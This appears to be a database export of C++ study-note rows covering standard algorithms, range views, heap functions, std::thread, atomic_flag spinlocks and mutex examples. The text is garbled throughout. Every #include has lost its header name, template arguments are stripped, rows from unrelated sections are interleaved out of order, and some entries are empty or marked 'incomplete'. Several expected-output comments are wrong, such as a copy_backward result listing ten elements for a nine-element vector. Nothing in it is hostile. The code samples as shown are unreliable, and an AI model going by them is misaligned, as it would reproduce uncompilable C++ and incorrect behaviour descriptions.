std::next(range.begin(), 3), std::next(range.begin(), 3));\n // ? ? ? a b c\n} code txt 2024-07-28 10:00:27.803905 0 +1742 396 | `std::copy_backward` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:28.578115 0 +1743 396 | `std::move_backward` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:28.597992 0 +1744 396 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:28.618225 0 +1745 396 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::vector output(9, "");\n std::ranges::copy_backward(std::begin(range), std::end(range), std::begin(output));\n // output = {? ? ? ? a b c a b c}\n std::ranges::copy_backward(std::begin(range), std::prev(std::end(range)), std::end(range));\n // range = {a a b c d e}\n} code txt 2024-07-28 10:00:28.63898 0 +1746 397 | `std::copy_n` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:29.23409 0 +1747 397 The algorithm cannot check whether the requested count is valid and does not go out of bounds, so this burden is on the caller. text txt 2024-07-28 10:00:29.255576 0 +1748 397 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:29.277015 0 +1749 397 int main()\n{\n std::vector range{"a", "b", "c", "d", "e"};\n std::vector output;\n std::ranges::copy_n(std::begin(range), 3, std::back_inserter(output));\n // output == {a b c}\n} code txt 2024-07-28 10:00:29.297185 0 +1750 398 | `std::copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:29.874161 0 +1751 398 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:29.895017 0 +1752 398 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::copy_if(range, std::ostream_iterator(std::cout, " "), is_even); std::cout << "\\\\n";\n // 2 4 6\n} code txt 2024-07-28 10:00:29.916681 0 +1753 399 | `std::remove_copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:30.482495 0 +1754 399 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:30.504878 0 +1755 399 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::remove_copy_if(range, std::ostream_iterator(std::cout, " "), is_even); std::cout << "\\\\n";\n // 1 3 5\n} code txt 2024-07-28 10:00:30.527202 0 +1756 400 | `std::remove_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:31.1155 0 +1757 400 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:31.13632 0 +1758 400 int main()\n{\n std::vector range{1,2,3,4,5,6};\n auto is_even = [](long e) { return e % 2 == 0; };\n std::ranges::remove_copy(range, std::ostream_iterator(std::cout, " "), 5); std::cout << "\\\\n";\n // 1 2 3 4 6\n} code txt 2024-07-28 10:00:31.156407 0 +1759 401 | `std::sample` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | N/A |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 10:00:31.814499 0 +1760 401 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:31.835357 0 +1761 401 int main()\n{\n std::vector range(10,0);\n std::iota(range.begin(), range.end(), 1);\n std::random_device rd{};\n std::mt19937 random_generator(rd());\n std::ranges::sample(range, std::ostream_iterator(std::cout, " "), 5, random_generator);\n // R R R R R\n} code txt 2024-07-28 10:00:31.856511 0 +1762 402 | `std::replace_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:32.476056 0 +1763 402 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:32.496326 0 +1764 402 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::replace_copy(range, std::ostream_iterator(std::cout, " "), 5, 0); std::cout << "\\\\n";\n // 1 2 3 4 0\n} code txt 2024-07-28 10:00:32.517017 0 +1765 403 | `std::replace_copy_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:33.097435 0 +1766 403 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:33.118178 0 +1767 403 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::replace_copy_if(range, std::ostream_iterator(std::cout, " "), [](long e) { return e % 2 == 0; }, 0); std::cout << "\\\\n";\n // 1 0 3 0 5\n} code txt 2024-07-28 10:00:33.139485 0 +1768 404 | `std::reverse_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:33.71142 0 +1769 404 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:33.73368 0 +1770 404 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::reverse_copy(range, std::ostream_iterator(std::cout, " "));\n // 5 4 3 2 1\n} code txt 2024-07-28 10:00:33.754589 0 +1771 405 | `std::rotate_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:34.383646 0 +1772 405 Mirrors the behavior of the `std::rotate` algorithm. text txt 2024-07-28 10:00:34.405656 0 +1773 405 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:34.426942 0 +1774 405 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::rotate_copy(range, std::next(std::begin(range), 2), std::ostream_iterator(std::cout, " "));\n // 3 4 5 1 2\n} code txt 2024-07-28 10:00:34.447925 0 +1775 406 | `std::construct_at` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.179939 0 +1776 406 | `std::destroy_at` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.200025 0 +1777 406 #include \n#include text txt 2024-07-28 10:00:35.219927 0 +1778 406 int main()\n{\n alignas(alignof(std::string)) char mem[sizeof(std::string)];\n auto *ptr = reinterpret_cast(mem);\n std::construct_at(ptr, 8, 'X');\n // *ptr == "XXXXXXXX", ptr->length() == 8\n std::destroy_at(ptr);\n} code txt 2024-07-28 10:00:35.240137 0 +1779 407 | `std::make_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:35.915327 0 +1780 407 The element at index $`i`$ compares greater or equal to the elements at indexes $`2i+1`$ and $`2i+2`$. text txt 2024-07-28 10:00:35.935752 0 +1781 407 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:35.95768 0 +1782 407 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2\n std::ranges::make_heap(range, std::greater{});\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:35.979293 0 +1783 408 | `std::push_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:36.981061 0 +1784 408 | `std::pop_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:37.002639 0 +1785 408 #include \n#include \n#include text txt 2024-07-28 10:00:37.023462 0 +1786 408 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2 text txt 2024-07-28 10:00:37.044127 0 +1787 408 range.push_back(7);\n std::ranges::push_heap(range);\n // 7 4 5 1 2 3 text txt 2024-07-28 10:00:37.066323 0 +1788 408 range.push_back(6);\n std::ranges::push_heap(range);\n // 7 4 6 1 2 3 5 text txt 2024-07-28 10:00:37.087218 0 +1789 408 std::ranges::pop_heap(range);\n // 6 4 5 1 2 3 7 text txt 2024-07-28 10:00:37.108895 0 +1790 408 std::ranges::pop_heap(range.begin(), std::prev(range.end()));\n // 5 4 3 1 2 6 7\n} code txt 2024-07-28 10:00:37.129404 0 +2088 483 class box\n{\nprivate:\n std::string first;\n std::array values; text txt 2024-07-28 10:01:28.267582 0 +1791 409 | `std::sort_heap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:37.720946 0 +1792 409 #include \n#include \n#include text txt 2024-07-28 10:00:37.743103 0 +1793 409 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n // 5 4 3 1 2\n std::ranges::sort_heap(range);\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:37.764032 0 +1794 410 | `std::is_heap` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:38.313259 0 +1795 410 #include \n#include \n#include text txt 2024-07-28 10:00:38.333658 0 +1796 410 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n std::ranges::is_heap(range);\n // true\n} code txt 2024-07-28 10:00:38.355437 0 +1797 411 | `std::is_heap_until` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:38.954767 0 +1798 411 #include \n#include \n#include text txt 2024-07-28 10:00:38.975529 0 +1799 411 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::make_heap(range);\n auto it = std::ranges::is_heap_until(range);\n // it == range.end()\n} code txt 2024-07-28 10:00:38.997396 0 +1800 412 | `std::find` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:39.794192 0 +1801 412 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:39.815215 0 +1802 412 int main()\n{\n std::string data{"first;second;third;"};\n std::vector out;\n auto it = data.begin();\n auto token = data.begin(); text txt 2024-07-28 10:00:39.835883 0 +1803 412 while ((token = std::ranges::find(it, data.end(), ';')) != data.end())\n {\n out.push_back("");\n std::copy(it, token, std::back_inserter(out.back()));\n it = std::next(token);\n }\n std::ranges::copy(out, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:39.856829 0 +1804 413 | `std::find_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:40.206781 0 +1805 413 code txt 2024-07-28 10:00:40.226427 0 +1806 414 | `std::find_if_not` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:40.575223 0 +1807 414 code txt 2024-07-28 10:00:40.595322 0 +1808 415 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:41.256168 0 +1809 415 int main()\n{\n std::map map{ {0, "first"}, {1, "second"}, {2, "third"} }; text txt 2024-07-28 10:00:41.276101 0 +1810 415 std::ranges::copy(std::views::keys(map), std::ostream_iterator(std::cout, " "));\n // 0 1 2 text txt 2024-07-28 10:00:41.296451 0 +1811 415 std::ranges::copy(std::views::values(map), std::ostream_iterator(std::cout, " "));\n // first second third\n} code txt 2024-07-28 10:00:41.317408 0 +1812 416 #include \n#include p\n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:41.927669 0 +1813 416 int main()\n{\n std::vector> range{ {0, "John", 4}, {1, "Laura", 5}, {2, "Alice", 5} }; text txt 2024-07-28 10:00:41.949221 0 +1814 416 std::vector names;\n std::ranges::copy(range | std::views::elements<1>, std::ostream_iterator(std::cout, " "));\n // John Laura Alice text txt 2024-07-28 10:00:41.969759 0 +1815 416 std::vector name_length;\n std::ranges::copy(range | std::views::elements<2>, std::ostream_iterator(std::cout, " "));\n // 4 5 5\n} code txt 2024-07-28 10:00:41.990157 0 +1816 417 #include \n#include p\n#include \n#include \n#include text txt 2024-07-28 10:00:42.541164 0 +1817 417 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:42.562112 0 +1818 417 std::ranges::copy(std::views::transform(range, [](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25 text txt 2024-07-28 10:00:42.582803 0 +1819 417 std::ranges::copy(range | std::views::transform([](long e) -> long { return e*e; }), std::ostream_iterator(std::cout, " "));\n // 1 4 9 16 25\n} code txt 2024-07-28 10:00:42.603865 0 +1820 418 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.067166 0 +1821 418 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:43.087256 0 +1822 419 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.533849 0 +1823 419 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::take_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:43.554139 0 +1824 420 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:43.994839 0 +1825 420 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop(3), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 10:00:44.014973 0 +1826 421 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:44.478821 0 +1827 421 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::drop_while([](long e) { return e <= 3; }), std::ostream_iterator(std::cout, " "));\n // 4 5\n} code txt 2024-07-28 10:00:44.500476 0 +1828 422 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:44.949925 0 +1829 422 int main()\n{\n std::vector range{1,2,3,4,5,6};\n std::ranges::copy(range | std::views::filter([](long e) { return e % 2 == 0; }), std::ostream_iterator(std::cout, " "));\n // 2 4 6\n} code txt 2024-07-28 10:00:44.970418 0 +1830 423 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:45.415526 0 +1831 423 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(range | std::views::reverse, std::ostream_iterator(std::cout, " "));\n // 5 4 3 2 1\n} code txt 2024-07-28 10:00:45.43551 0 +1832 424 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:45.872741 0 +1833 424 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::counted(std::next(range.begin()), 3), std::ostream_iterator(std::cout, " "));\n // 2 3 4\n} code txt 2024-07-28 10:00:45.894397 0 +1834 425 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:46.348707 0 +3621 857 MovableType m; text txt 2024-07-28 10:05:16.545741 0 +1835 425 int main()\n{\n std::vector range{1,2,3,4,5};\n auto common = range | std::views::take(3) | std::views::common;\n std::copy(common.begin(), common.end(), std::ostream_iterator(std::cout, " "));\n // 1 2 3\n} code txt 2024-07-28 10:00:46.369838 0 +1836 426 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:46.804068 0 +1837 426 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::copy(std::views::all(range), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4 5\n} code txt 2024-07-28 10:00:46.824803 0 +1838 427 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:47.505544 0 +1839 427 int main()\n{\n std::string version{"6.4.2"};\n std::ranges::copy(\n version |\n std::views::split('.') |\n std::views::transform([](auto v) {\n int token;\n std::from_chars(v.data(), v.data() + v.size(), token);\n return token;\n }),\n std::ostream_iterator(std::cout, " ")\n );\n // 6 4 2\n} code txt 2024-07-28 10:00:47.526421 0 +1840 428 incomplete text txt 2024-07-28 10:00:47.726561 0 +1841 429 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:48.106482 0 +1842 429 int main()\n{\n std::ranges::copy(std::views::empty, std::ostream_iterator(std::cout, " "));\n} code txt 2024-07-28 10:00:48.126978 0 +1843 430 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:48.567776 0 +1844 430 int main()\n{\n std::ranges::copy(std::views::single(4), std::ostream_iterator(std::cout, " "));\n // 4\n} code txt 2024-07-28 10:00:48.589719 0 +1845 431 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:49.085482 0 +1846 431 int main()\n{\n std::ranges::copy(std::views::iota(2,5), std::ostream_iterator(std::cout, " "));\n // 2 3 4 text txt 2024-07-28 10:00:49.105868 0 +1847 431 std::ranges::copy(std::views::iota(4) | std::views::take(3), std::ostream_iterator(std::cout, " "));\n // 4 5 6\n} code txt 2024-07-28 10:00:49.127972 0 +1848 432 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:49.56995 0 +1849 432 int main()\n{\n std::ranges::copy(std::views::istream(std::cin), std::ostream_iterator(std::cout, " "));\n // 1 2 3 4\n} code txt 2024-07-28 10:00:49.5911 0 +1850 433 import std; // brings the entire standard library text txt 2024-07-28 10:00:50.201229 0 +1851 433 int main()\n{\n std::println("C++{}", 23);\n} code txt 2024-07-28 10:00:50.222375 0 +1852 434 The C++ memory model has to deal with the following points: text txt 2024-07-28 10:00:50.738837 0 +1853 434 - **Atomic operations**: operations that can be performed without interruption.\n- **Partial ordering of operations**: sequences of operations that must not be reordered.\n- **Visible effects** of operations guarantees when operations on shared variables are visible to other threads. text txt 2024-07-28 10:00:50.759546 0 +1854 435 To deal with multithreading, we should be an expert.\nIn case we want to deal with atomics (sequencial consistency), we should open the door to the next level of expertise.\nWhen we talk about the aquire-release semantic, or relaxed semantics we advance one step higher to the next expertise level. text txt 2024-07-28 10:00:51.071226 0 +1855 435 1. Multithreading\n2. Sequencial Consistency\n3. Aquire-release Semantic\n4. Relaxed Semantic text txt 2024-07-28 10:00:51.091866 0 +1856 436 Spinlock mechanism can be implemented lock-free using atomic library. text txt 2024-07-28 10:00:52.248016 0 +1857 436 `std::atomic_flag` is an atomic boolean. It has a clear and a set state.\nThere are two methods in `std::atomic_flag`, the `clear()` which sets its\nvalue to `false`. Withe the `test_and_set()` method you can set the value\nback to `true` and return the previous value. There is no method to ask for\nthe current value. text txt 2024-07-28 10:00:52.269935 0 +1858 436 To use `std::atomic_flag` it must be initialized to `false` with the constant\n`ATOMIC_FLAG_INIT`. text txt 2024-07-28 10:00:52.292049 0 +1859 436 The `std::atomic_flag` has to be initialized with the statement\n`std::atomic_flag = ATOMIC_FLAG_INIT`. Other initialization contexts such as\n`std::atomic_flag{ATOMIC_FLAG_INIT}` are unspecified. text txt 2024-07-28 10:00:52.313109 0 +1860 436 #include \n#include \n#include text txt 2024-07-28 10:00:52.3345 0 +1861 436 class task_unit\n{\npublic:\n void do_something()\n {\n lock();\n std::this_thread::sleep_for(std::chrono::seconds{1});\n unlock();\n } text txt 2024-07-28 10:00:52.355119 0 +1862 436 private:\n void lock() { while (flag.test_and_set()); }\n void unlock() { flag.clear(); } text txt 2024-07-28 10:00:52.376187 0 +1863 436 private:\n std::atomic_flag flag = ATOMIC_FLAG_INIT;\n}; text txt 2024-07-28 10:00:52.397284 0 +1864 436 int main()\n{\n task_unit task; text txt 2024-07-28 10:00:52.418683 0 +1865 436 std::thread taskA{&task_unit::do_something, &task};\n std::thread taskB{&task_unit::do_something, &task}; text txt 2024-07-28 10:00:52.439817 0 +1866 436 taskA.join();\n taskB.join();\n} code txt 2024-07-28 10:00:52.460787 0 +1867 437 Using `std::atomic_flag` is more straightforward and fast. text txt 2024-07-28 10:00:53.394072 0 +1868 437 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:53.414943 0 +1869 437 class task_unit\n{\npublic:\n void do_something()\n {\n _lock.lock();\n std::this_thread::sleep_for(std::chrono::seconds{1});\n _lock.unlock();\n } text txt 2024-07-28 10:00:53.436038 0 +1870 437 private:\n std::mutex _lock;\n}; text txt 2024-07-28 10:00:53.456907 0 +1871 437 int main()\n{\n task_unit task; text txt 2024-07-28 10:00:53.47767 0 +1872 437 std::thread taskA{&task_unit::do_something, &task};\n std::thread taskB{&task_unit::do_something, &task}; text txt 2024-07-28 10:00:53.50022 0 +1873 437 taskA.join();\n taskB.join();\n} code txt 2024-07-28 10:00:53.520549 0 +1874 438 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:54.939504 0 +1875 438 class some_task\n{\npublic:\n some_task(): _mutex{}, _cond{}, _shared{}, _accessible{}\n {\n std::thread t1{&some_task::wait_for_work, this};\n std::thread t2{&some_task::prepare_data, this};\n t1.join();\n t2.join();\n } text txt 2024-07-28 10:00:54.960448 0 +1876 438 void wait_for_work()\n {\n std::cerr << "Waiting" << std::endl;\n std::unique_lock lock(_mutex);\n _cond.wait(lock, [this]() { return _accessible; });\n _shared.push_back(4);\n std::cerr << "Work complete" << std::endl;\n } text txt 2024-07-28 10:00:54.98134 0 +1877 438 void prepare_data()\n {\n _shared = {1, 2, 3}; text txt 2024-07-28 10:00:55.001694 0 +1878 438 {\n std::lock_guard lock(_mutex);\n _accessible = true;\n } text txt 2024-07-28 10:00:55.023169 0 +1879 438 std::cerr << "Data preparation complete" << std::endl;\n _cond.notify_one();\n } text txt 2024-07-28 10:00:55.043704 0 +1880 438 void print_data()\n {\n for (auto value: _shared)\n {\n std::cout << value << " ";\n }\n } text txt 2024-07-28 10:00:55.064332 0 +3678 882 code txt 2024-07-28 10:05:27.959293 0 +1881 438 private:\n std::mutex _mutex;\n std::condition_variable _cond;\n std::vector _shared;\n bool _accessible;\n}; text txt 2024-07-28 10:00:55.085286 0 +1882 438 int main()\n{\n some_task task{};\n} code txt 2024-07-28 10:00:55.10594 0 +1883 439 #include \n#include text txt 2024-07-28 10:00:55.800505 0 +1884 439 void show_id()\n{\n std::cout << std::this_thread::get_id() << std::endl;\n} text txt 2024-07-28 10:00:55.820558 0 +1885 439 int main()\n{\n std::thread worker{show_id};\n worker.join();\n} code txt 2024-07-28 10:00:55.841086 0 +1886 440 #include text txt 2024-07-28 10:00:56.845757 0 +1887 440 void do_something() {}\nvoid do_something_else() {} text txt 2024-07-28 10:00:56.866489 0 +1888 440 struct background_task\n{\n void operator ()()\n {\n do_something();\n do_something_else();\n }\n}; text txt 2024-07-28 10:00:56.887829 0 +1889 440 int main()\n{\n std::thread thread_f(do_something);\n thread_f.join(); text txt 2024-07-28 10:00:56.908427 0 +1890 440 background_task callable;\n std::thread thread_c(callable);\n thread_c.join(); text txt 2024-07-28 10:00:56.928792 0 +1891 440 // no to mistakenly call a thread like this:\n // std::thread thread_x(background_task());\n // which can be correctly expressed like:\n // std::thread thread_x((background_task()));\n // std::thread thread_x{background_task()}; text txt 2024-07-28 10:00:56.949557 0 +1892 440 std::thread thread_l([]{\n do_something();\n do_something_else();\n });\n thread_l.join();\n} code txt 2024-07-28 10:00:56.969608 0 +1893 441 #include \n#include text txt 2024-07-28 10:00:57.757308 0 +1894 441 struct background_task\n{\n using time_point = std::chrono::time_point; text txt 2024-07-28 10:00:57.77766 0 +1895 441 time_point& elapsed;\n background_task(time_point& init): elapsed{init}\n { } text txt 2024-07-28 10:00:57.797991 0 +1896 441 void operator ()()\n {\n using namespace std::chrono_literals; text txt 2024-07-28 10:00:57.818752 0 +1897 441 std::this_thread::sleep_for(1s);\n elapsed + 1s;\n }\n}; text txt 2024-07-28 10:00:57.840786 0 +1898 441 int main()\n{\n // sharing object\n std::chrono::time_point elapsed{};\n background_task f{elapsed};\n std::thread task(f);\n task.join();\n} code txt 2024-07-28 10:00:57.861644 0 +1899 442 #include \n#include text txt 2024-07-28 10:00:58.563383 0 +1900 442 void do_something() { }\nvoid do_something_else() { throw std::runtime_error("fatal"); } text txt 2024-07-28 10:00:58.583846 0 +1901 442 int main()\n{\n std::thread t(do_something); text txt 2024-07-28 10:00:58.605308 0 +1902 442 try\n {\n do_something_else();\n }\n catch (std::exception const& exp)\n {\n t.join(); // reaches due exceptional exit but joins anyway\n throw;\n } text txt 2024-07-28 10:00:58.626308 0 +1903 442 t.join();\n} code txt 2024-07-28 10:00:58.646526 0 +1904 443 #include text txt 2024-07-28 10:00:59.258062 0 +1905 443 void do_something() { } text txt 2024-07-28 10:00:59.278885 0 +1906 443 class thread_guard\n{\n std::thread& _t; text txt 2024-07-28 10:00:59.299484 0 +1907 443 public:\n explicit thread_guard(std::thread& t): _t{t} {}\n virtual ~thread_guard() { if (_t.joinable()) _t.join(); }\n thread_guard(thread_guard const&) = delete;\n thread_guard& operator =(thread_guard const&) = delete;\n}; text txt 2024-07-28 10:00:59.320997 0 +1908 443 int main()\n{\n std::thread t(do_something);\n thread_guard joining_thread{t};\n} code txt 2024-07-28 10:00:59.341579 0 +1909 444 #include \n#include text txt 2024-07-28 10:00:59.762602 0 +1910 444 void do_background_work() { } text txt 2024-07-28 10:00:59.78274 0 +1911 444 int main()\n{\n std::thread task{do_background_work};\n task.detach();\n assert(!task.joinable());\n} code txt 2024-07-28 10:00:59.804473 0 +1912 445 #include \n#include \n#include \n#include text txt 2024-07-28 10:01:00.984592 0 +1913 445 void rvalue_write(std::string&&) { } // rvalue only\nvoid lvalue_write(std::string&) { } // lvalue only\nvoid pointer_write(std::string_view) { } // pointer only\nvoid smart_write(std::unique_ptr) { } // non-copyable object only text txt 2024-07-28 10:01:01.006354 0 +1914 445 struct heavy_work\n{\n void do_lengthy_work(std::string&) {}\n}; text txt 2024-07-28 10:01:01.026184 0 +1915 445 int main()\n{\n // implicit cast from const char* to std::string\n std::thread write_thread(rvalue_write, "text");\n write_thread.join(); text txt 2024-07-28 10:01:01.047713 0 +1916 445 char text[1024];\n sprintf(text, "%i", 1); text txt 2024-07-28 10:01:01.069334 0 +1917 445 // use of local object in joinable thread\n std::thread pointer_thread(pointer_write, text);\n pointer_thread.join(); text txt 2024-07-28 10:01:01.089581 0 +1918 445 // use of copied local object before background thread invokation\n std::thread local_thread(rvalue_write, std::string{text});\n local_thread.detach(); text txt 2024-07-28 10:01:01.109824 0 +1919 445 // pass by lvalue reference to avoid copy\n std::string str{text};\n std::thread ref_thread(lvalue_write, std::ref(str));\n ref_thread.join(); text txt 2024-07-28 10:01:01.130558 0 +1920 445 // bind method to thread\n heavy_work some_work;\n std::thread binding_thread(&heavy_work::do_lengthy_work, &some_work, std::ref(str));\n binding_thread.join(); text txt 2024-07-28 10:01:01.152226 0 +1921 445 // explicitly move non-copyable objects\n std::unique_ptr non_copyable{new std::string{str}};\n std::thread smart_thread(smart_write, std::move(non_copyable));\n smart_thread.join();\n} code txt 2024-07-28 10:01:01.173946 0 +1922 446 #include text txt 2024-07-28 10:01:01.706472 0 +1923 446 void do_work() { } text txt 2024-07-28 10:01:01.72803 0 +1924 446 int main()\n{\n std::thread t1{do_work}; // t1 joinable\n std::thread t2{std::move(t1)}; // t1 empty, t2 joinable\n t1 = std::thread{do_work}; // t1 joinable\n std::thread t3 = std::move(t2); // t3 joinable, t2 empty\n t2 = std::move(t1); // t2 joinable, t1 empty text txt 2024-07-28 10:01:01.750466 0 +1925 446 // t1 is already empty\n t2.join();\n t3.join();\n} code txt 2024-07-28 10:01:01.772155 0 +1926 447 #include \n#include text txt 2024-07-28 10:01:02.383295 0 +1927 447 void task() { } text txt 2024-07-28 10:01:02.403456 0 +1928 447 int main()\n{\n unsigned int const min_threads = 2;\n unsigned int const hw_threads = std::thread::hardware_concurrency();\n unsigned int const num_threads = hw_threads ? hw_threads : min_threads; text txt 2024-07-28 10:01:02.4246 0 +1929 447 std::vector threads(num_threads-1); // count main thread as well text txt 2024-07-28 10:01:02.44528 0 +1930 447 for (std::thread& t: threads)\n t = std::thread{task}; text txt 2024-07-28 10:01:02.466212 0 +1931 447 for (std::thread& t: threads)\n t.join();\n} code txt 2024-07-28 10:01:02.487002 0 +1932 448 #include \n#include text txt 2024-07-28 10:01:02.861067 0 +1933 448 int main()\n{\n std::thread::id const main_thread_id = std::this_thread::get_id();\n std::cout << main_thread_id << std::endl;\n} code txt 2024-07-28 10:01:02.881744 0 +1998 466 The parameter can bind only to a temporary object that does not have a name\nor to an object marked with `std::move()`. text txt 2024-07-28 10:01:14.773339 0 +3679 883 struct X {}; text txt 2024-07-28 10:05:28.441806 0 +1934 449 To create a mutex, construct an instance of `std::mutex`, lock it with a call\nto the `lock()` member function, and unlock iit with a call to the `unlock()`\nmember function. But this procedure is better done by `std::lock_guard` class\ntemplate in the standard library. Both `std::mutex` and `std::lock_guard` are\ndeclared in the `` header. text txt 2024-07-28 10:01:03.883487 0 +1935 449 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:01:03.904602 0 +1936 449 std::vector data;\nstd::mutex mutex; text txt 2024-07-28 10:01:03.926389 0 +1937 449 void add_data(long value)\n{\n std::lock_guard guard(mutex);\n data.push_back(value);\n} text txt 2024-07-28 10:01:03.946262 0 +1938 449 void print_data()\n{\n std::lock_guard guard(mutex);\n std::for_each(std::begin(data), std::end(data), std::ostream_iterator(std::cout, " "));\n} text txt 2024-07-28 10:01:03.967555 0 +1939 449 int main()\n{\n std::thread t1{add_data, 